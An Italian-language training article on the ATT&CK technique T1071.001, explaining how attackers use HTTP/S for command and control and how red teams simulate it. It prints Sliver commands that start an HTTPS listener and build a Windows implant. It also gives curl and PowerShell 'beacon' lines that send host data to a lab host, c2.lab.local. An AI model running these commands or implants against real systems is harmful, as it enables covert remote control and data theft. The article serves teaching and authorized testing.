Protocolli Web: Application Layer Protocols - Web Protocols (T1071.001)
La tecnica T1071.001 descrive l'abuso dei protocolli applicativi associati al traffico web — principalmente HTTP, HTTPS e WebSocket — come canale di Command and Control. Rientra nella tattica TA0011 e rappresenta uno degli approcci più diffusi per mantenere comunicazioni furtive con sistemi compromessi, sfruttando la naturale presenza di traffico web nei perimetri aziendali per confondersi tra flussi legittimi.
L'attrattività per gli avversari nasce dalla ricchezza strutturale dei protocolli HTTP: header, cookie, parametri URI, body POST e persino User-Agent diventano contenitori ideali per nascondere comandi e risultati di esecuzione. Il traffico verso porte 80 e 443 raramente viene bloccato in uscita, e l'ispezione TLS resta incompleta in molte organizzazioni.
I numeri raccontano la portata del fenomeno: 56 gruppi APT documentati, 329 famiglie di software malevolo, 21 campagne tracciate e appena 2 mitigazioni ufficiali. Praticamente ogni attore rilevante — da APT28 a Lazarus Group, da Turla a APT41 — ha almeno un impianto che comunica via HTTP/S. Framework offensivi come Cobalt Strike, Empire, Sliver, Mythic e Brute Ratel C4 implementano listener HTTP nativi con profili altamente configurabili.
La fase di kill chain interessata è quella post-exploitation, dove la persistenza del canale di controllo determina la durata dell'accesso. Il rilevamento richiede analisi comportamentale del traffico, correlazione con processi sorgente e ispezione dei metadati protocollari.
Simulare T1071.001 in un esercizio red team significa costruire canali C2 realistici sopra HTTP/S. Il framework di riferimento è Cobalt Strike (a pagamento), che consente di modellare Malleable C2 Profiles per replicare fedelmente traffico legittimo — Amazon, Office 365, Pandora — modificando URI, header, User-Agent e formato di encoding del beacon.
Per laboratori con budget ridotto, Sliver (open source) di Bishop Fox offre listener HTTP/HTTPS con generazione automatica di certificati e supporto a jitter randomizzato. L'avvio di un listener è diretto:
sliver > https --domain c2.lab.local --lport 443
Seguito dalla generazione dell'implant:
sliver > generate --http c2.lab.local --os windows --arch amd64 --save /tmp/implant.exe
Mythic (open source) di SpecterOps rappresenta l'alternativa modulare, con agenti come Apollo, Poseidon e Athena che implementano profili C2 HTTP configurabili via YAML. Havoc (open source) e PoshC2 (open source) completano il panorama gratuito, mentre Empire (open source, ora mantenuto da BC Security) resta il riferimento storico per operazioni PowerShell-based.
Per scenari post-exploitation minimali su Linux e macOS, i comandi curl e wget replicano il comportamento di molte famiglie malware. Un esempio di beacon primitivo:
curl -s -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" -X POST -d "$(hostname | base64)" https://c2.lab.local/api/telemetry
Su Windows PowerShell, l'equivalente con evasione minima:
Invoke-WebRequest -Uri https://c2.lab.local/update -Method POST -Body $data -UserAgent "Mozilla/5.0"
Per stress-test di detection basata su JA3/JA4, JARM (open source) di Salesforce genera fingerprint TLS attivi utili a verificare quanto il proprio implant risulti distinguibile dai client legittimi. Chisel (open source) e FRP (open source) permettono tunneling HTTP di sessioni interattive, replicando pattern osservati in reGeorg (open source) e Neo-reGeorg (open source) per operazioni pivoting tramite web shell.
Ricorda di operare esclusivamente in ambienti isolati o con autorizzazione scritta esplicita. La generazione di traffico C2 verso infrastrutture non autorizzate configura reati informatici in tutte le giurisdizioni. Documenta i profili Malleable utilizzati per consentire al blue team la costruzione di rilevamenti mirati durante il debrief.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo
2 minuti · 7 domande
Che professionista cyber sei?
Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.